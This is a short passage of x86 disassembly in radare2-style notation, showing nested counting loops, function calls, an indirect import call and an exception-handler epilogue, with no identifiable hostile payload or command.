mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x60d5
jge 0x40ecc8
and dword [ebp - 0xcc], 0
jmp 0x40ec87
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xb7b
jge 0x40ecc6
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xcc]
sar eax, cl
cdq
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], edx
push dword [ebp - 0x20c]
push dword [ebp - 0x210]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40ec7a
jmp 0x40ec58
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x16c], 0x31f
jge 0x40ecf7
mov edx, dword [ebp - 0x234]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40ed13
or dword [ebp - 4], 0xffffffff
jmp 0x40ed1d
push dword [ebp - 0x1dc]
push dword [ebp - 0x22c]
call dword [0xac00cc]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
jmp 0x40ed88
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x174], 0x6f43
jge 0x40ed60
mov edx, dword [ebp - 0x218]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40ed7c
or dword [ebp - 4], 0xffffffff
jmp 0x40ed86
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret